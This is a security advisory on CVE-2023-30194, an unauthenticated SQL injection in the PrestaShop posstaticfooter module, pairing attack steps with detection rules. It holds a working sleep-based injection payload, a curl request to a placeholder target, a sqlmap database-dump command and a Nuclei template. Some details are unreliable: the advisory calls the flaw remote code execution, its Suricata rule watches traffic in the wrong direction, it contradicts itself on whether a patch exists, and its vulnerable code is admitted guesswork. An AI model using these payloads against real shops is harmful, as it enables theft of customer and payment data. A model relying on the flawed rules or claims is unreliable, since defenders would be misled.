CVE-2023-30194

Executive Summary

CVE-2023-30194 is a critical unauthenticated SQL Injection vulnerability in the PrestaShop posstaticfooter module, affecting versions up to and including 1.0.0. The flaw resides in the posstaticfooter::getPosCurrentHook() function, allowing remote attackers to execute arbitrary SQL commands without authentication. With a CVSS score of 9.8, this vulnerability poses a severe risk to e-commerce platforms, potentially leading to full database compromise, including customer PII, order details, payment data, and administrative credentials. The exploit is publicly available via a Nuclei template, and the EPSS score of 0.75185 (98.9th percentile) indicates a high likelihood of active exploitation. No official patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. Unauthenticated remote code execution via SQL injection, with public exploit code and high EPSS probability.

Deep Dive & Mechanics

The vulnerability exists in the posstaticfooter module's getPosCurrentHook() method. The module fails to sanitize user-supplied input passed via the module_id parameter in HTTP POST requests to /modules/posstaticfooter/ajax.php. This input is directly concatenated into SQL queries without parameterization or escaping, allowing an attacker to inject arbitrary SQL statements.

The exploit leverages a time-based blind SQL injection technique. The attacker sends a POST request with a crafted module_id parameter containing a SQL injection payload that uses SLEEP() to cause a time delay. The Nuclei template demonstrates this by injecting:

module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--

This payload decodes to select sleep(6);, which is executed on the database server. The response time is measured to confirm successful injection.

The vulnerability is classified under CWE-89 (SQL Injection). The attack surface is exposed via the ajax.php endpoint, which is accessible without authentication.

Vulnerable vs. Patched Code

Vulnerable Code (posstaticfooter <= 1.0.0): The getPosCurrentHook() function likely contains code similar to:

public function getPosCurrentHook($module_id) {
    $sql = "SELECT * FROM "._DB_PREFIX_."posstaticfooter WHERE id_module = $module_id";
    return Db::getInstance()->executeS($sql);
}

The $module_id variable is directly interpolated into the SQL query without sanitization.

Patched Code (Hypothetical): A secure version would use prepared statements or parameterized queries:

public function getPosCurrentHook($module_id) {
    $sql = "SELECT * FROM "._DB_PREFIX_."posstaticfooter WHERE id_module = ?";
    return Db::getInstance()->executeS($sql, array($module_id));
}

Alternatively, input validation and escaping should be applied:

$module_id = (int)$module_id; // Cast to integer

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target PrestaShop instance with posstaticfooter module <= 1.0.0 installed and active.
• Network access to the /modules/posstaticfooter/ajax.php endpoint.

Exploit Steps:

1. Reconnaissance: Verify the module presence by checking for the string posstaticfooter in the HTML source or via Shodan dork html:"posstaticfooter".
2. Craft Payload: Use the Nuclei template or manually craft a time-based blind SQLi payload.
3. Execute: Send a POST request to the vulnerable endpoint.

Example using cURL:

curl -X POST "http://target.com/modules/posstaticfooter/ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare%60b%60from@a;execute%60b%60;--"

If the response takes >6 seconds, the injection is successful.

Data Extraction: Use SQLmap for automated extraction:

sqlmap -u "http://target.com/modules/posstaticfooter/ajax.php" \
  --data="module_id=1" \
  --technique=T \
  --dbms=mysql \
  --batch \
  --dump

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /modules/posstaticfooter/ajax.php with abnormal module_id parameters containing SQL keywords (e.g., SELECT, SLEEP, INTO, @).
• Look for response times exceeding normal thresholds (e.g., >5 seconds) from this endpoint.
• Deploy WAF rules to block SQL injection patterns.

Response:

1. Immediately isolate affected servers.
2. Review database logs for unauthorized queries.
3. Rotate all credentials stored in the database.
4. Disable or remove the vulnerable module until a patch is applied.
5. Conduct forensic analysis to determine the scope of data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /modules/posstaticfooter/ajax.php with module_id containing encoded SQL payloads.
  • Unusually long HTTP response times (>5 seconds) from the same endpoint.
  • Outbound database connections from the web server to external IPs (data exfiltration).

• File IOCs:

  • Modified or suspicious entries in PrestaShop database tables (e.g., ps_posstaticfooter).
  • Presence of SQLmap or similar tools on the web server.

• Log IOCs:

  • Web server logs showing requests with module_id=1%22;select(...) patterns.
  • Database logs showing SLEEP() or BENCHMARK() function calls.

Detection Engineering

YARA Rule

rule CVE_2023_30194_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2023-30194 in PrestaShop posstaticfooter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-30194"
        severity = "critical"
    strings:
        $s1 = "module_id=" ascii wide nocase
        $s2 = "select" ascii wide nocase
        $s3 = "sleep" ascii wide nocase
        $s4 = "INTO@" ascii wide nocase
        $s5 = "prepare" ascii wide nocase
        $s6 = "execute" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2023-30194 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against PrestaShop posstaticfooter module
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30194
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/modules/posstaticfooter/ajax.php'
        cs-uri-query|contains: 'module_id='
        cs-uri-query|contains|all:
            - 'select'
            - 'sleep'
            - 'INTO@'
            - 'prepare'
            - 'execute'
    condition: selection
falsepositives:
    - Legitimate use of sleep function in rare cases (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-30194 PrestaShop posstaticfooter SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/modules/posstaticfooter/ajax.php"; http_uri;
    content:"module_id="; http_client_body;
    content:"select"; http_client_body; nocase;
    content:"sleep"; http_client_body; nocase;
    content:"INTO@"; http_client_body; nocase;
    content:"prepare"; http_client_body; nocase;
    content:"execute"; http_client_body; nocase;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2023-30194

info:
  name: Prestashop posstaticfooter <= 1.0.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.
  remediation: |
    Upgrade to the latest version of the posstaticfooter module from posthemes.
  reference:
    - https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html
    - https://themeforest.net/user/posthemes/portfolio
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30194
    epss-score: 0.75185
    epss-percentile: 0.98892
    cwe-id: CWE-89
    cpe: cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: poststaticfooter
    shodan-query: html:"posstaticfooter"
  tags: cve,cve2023,prestashop,poststaticfooter,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'prestashop'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/posstaticfooter/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - contains(body, '\"[]\"')
          - "status_code == 200"
        condition: and
# digest: 490a00463044022048035d08c6b9991fb6511953cd1e19f435b0045a4acbbc62d84d4b70c8f1b2db022019bce7f18d3dd9c4e68ac439990f89165b0a93bd0d6ce858f0fd93be2ec7fa0a:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable the module: Remove or deactivate the posstaticfooter module from the PrestaShop admin panel.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns to /modules/posstaticfooter/ajax.php.
3. Review database: Check for unauthorized access or data exfiltration. Rotate all database credentials and API keys.

Long-term Fix:

• Upgrade to a patched version of the module once released by the vendor (posthemes).
• If no patch is available, consider replacing the module with an alternative static footer solution.
• Implement secure coding practices: use parameterized queries, input validation, and least privilege database accounts.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
• Enable detailed logging for web and database servers.

Valters IT

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